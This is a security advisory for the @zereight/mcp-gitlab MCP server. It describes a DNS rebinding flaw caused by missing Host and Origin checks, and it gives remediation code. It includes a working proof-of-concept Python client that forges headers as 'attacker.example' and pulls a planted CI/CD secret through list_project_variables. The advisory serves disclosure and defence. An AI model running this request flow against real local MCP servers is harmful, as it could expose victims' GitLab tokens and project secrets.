GHSA-vmp7-252j-cwp7
@zereight/mcp-gitlab: DNS rebinding reaches local Streamable HTTP MCP transport
Quick fix
GHSA-vmp7-252j-cwp7 — @zereight/mcp-gitlab: upgrade to the fixed version with the command below.
npm install @zereight/mcp-gitlab@2.1.30Details
`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.
This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.
The vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:
```typescript // index.ts:12077 app.use(express.json());
registerDownloadProxy(app); ```
The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:
```typescript // index.ts:12375 transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; metrics.totalSessions++; metrics.activeSessions++; }, }); ```
The transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.
The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:
```typescript // config.ts:192 export const HOST = getConfig("host", "HOST") || "127.0.0.1";
// config.ts:196 export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT); ```
The README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.
## Proof of concept
The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:
- no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`; - no-token `tools/list` is rejected with `401`; - the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`; - the fake GitLab API records the forwarded token and returns a planted fake project variable.
Start the fake GitLab API:
```bash python3 - <<'PY' import json from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from urllib.parse import parse_qs, urlparse
WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl" PROJECT_ID = "pluto/rebind-target" FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"
class Handler(BaseHTTPRequestHandler): def _json(self, status, payload): data = json.dumps(payload).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data)
def _record(self): parsed = urlparse(self.path) with open(WITNESS, "a", encoding="utf-8") as f: f.write(json.dumps({ "method": self.command, "path": parsed.path, "query": parse_qs(parsed.query), "authorization": self.headers.get("authorization"), "private_token": self.headers.get("private-token"), "job_token": self.headers.get("job-token"), }, sort_keys=True) + "\n")
def do_GET(self): self._record() path = urlparse(self.path).path if path == "/health": self._json(200, {"status": "ok"}) return if path.startswith("/api/v4/") and not ( self.headers.get("authorization") or self.headers.get("private-token") or self.headers.get("job-token") ): self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"}) return if path.endswith("/variables"): self._json(200, [{ "key": "PRODUCTION_DEPLOY_TOKEN", "value": FAKE_SECRET, "protected": True, "masked": False, }]) return self._json(200, {"ok": True, "path": path})
def log_message(self, fmt, *args): return
ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever() PY ```
In a second terminal, run the affected MCP server:
```bash git clone https://github.com/zereight/gitlab-mcp.git cd gitlab-mcp git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 npm install npm run build
STREAMABLE_HTTP=true \ REMOTE_AUTHORIZATION=true \ HOST=127.0.0.1 \ PORT=8082 \ GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \ GITLAB_READ_ONLY_MODE=true \ GITLAB_TOOLSETS=issues,projects,repository,ci \ GITLAB_TOOLS=list_project_variables \ node build/index.js ```
In a third terminal, send MCP requests with attacker-controlled browser-origin headers:
```bash python3 - <<'PY' import json import urllib.error import urllib.request
TARGET = "http://127.0.0.1:8082/mcp" REBIND_HOST = "attacker.example:8082" ORIGIN = "http://" + REBIND_HOST TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"
def parse_rpc(text): stripped = text.strip() if stripped.startswith("{"): return [json.loads(stripped)] out = [] for line in stripped.splitlines(): line = line.strip() if line.startswith("data:"): out.append(json.loads(line[5:].strip())) return out
class Client: def __init__(self, token=None): self.sid = None self.token = token
def post(self, body): headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Host": REBIND_HOST, "Origin": ORIGIN, } if self.token: headers["Private-Token"] = self.token if self.sid: headers["Mcp-Session-Id"] = self.sid headers["MCP-Protocol-Version"] = "2025-06-18" req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=20) as res: sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id") if sid: self.sid = sid text = res.read().decode("utf-8", "replace") return res.status, parse_rpc(text), text except urllib.error.HTTPError as exc: text = exc.read().decode("utf-8", "replace") return exc.code, parse_rpc(text), text
def rpc(self, method, params=None, rid=1): body = {"jsonrpc": "2.0", "id": rid, "method": method} if params is not None: body["params"] = params status, messages, raw = self.post(body) for msg in messages: if msg.get("id") == rid: return status, msg, raw return status, {}, raw
def initialized(self): self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})
def initialize(client, rid): return client.rpc("initialize", { "protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "dns-rebind-check", "version": "1"}, }, rid)
unauth = Client() status, init, raw = initialize(unauth, 1) print("unauth initialize:", status, "session:", unauth.sid) unauth.initialized() status, listed, raw = unauth.rpc("tools/list", {}, 2) print("unauth tools/list:", status, raw[:200])
authed = Client(TOKEN) status, init, raw = initialize(authed, 3) print("token initialize:", status, "session:", authed.sid) authed.initialized() status, listed, raw = authed.rpc("tools/list", {}, 4) tools = [tool["name"] for tool in listed["result"]["tools"]] print("listed list_project_variables:", "list_project_variables" in tools) status, called, raw = authed.rpc("tools/call", { "name": "list_project_variables", "arguments": {"project_id": "pluto/rebind-target"}, }, 5) print(raw) PY ```
Observed output:
```text unauth initialize: 200 session: <uuid> unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."} token initialize: 200 session: <uuid> listed list_project_variables: True [ { "key": "PRODUCTION_DEPLOY_TOKEN", "value": "glpat-FAKE-PROJECT-CI-SECRET-0001", "protected": true, "masked": false } ] ```
The fake GitLab API witness records that the MCP server forwarded the token to the backend request:
```json {"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}} ```
## Impact
A malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.
The confirmed impact is:
- attacker-origin browser traffic reaches the local MCP `initialize` path; - server-side Host and Origin validation are absent on `/mcp`; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present; - GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.
## Why this is a vulnerability, not intended behavior
- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard. - `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.
## Remediation
Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:
```typescript transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), enableDnsRebindingProtection: true, allowedHosts: [ `127.0.0.1:${PORT}`, `localhost:${PORT}`, ], allowedOrigins: [ `http://127.0.0.1:${PORT}`, `http://localhost:${PORT}`, ], onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; }, }); ```
Add an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-vmp7-252j-cwp7[WEB]
- https://github.com/zereight/gitlab-mcp/pull/555[WEB]
- https://github.com/zereight/gitlab-mcp/commit/52207c6f5c0e7a39e9235d491225edbb562a0290[WEB]
- https://github.com/zereight/gitlab-mcp[PACKAGE]
- https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.30[WEB]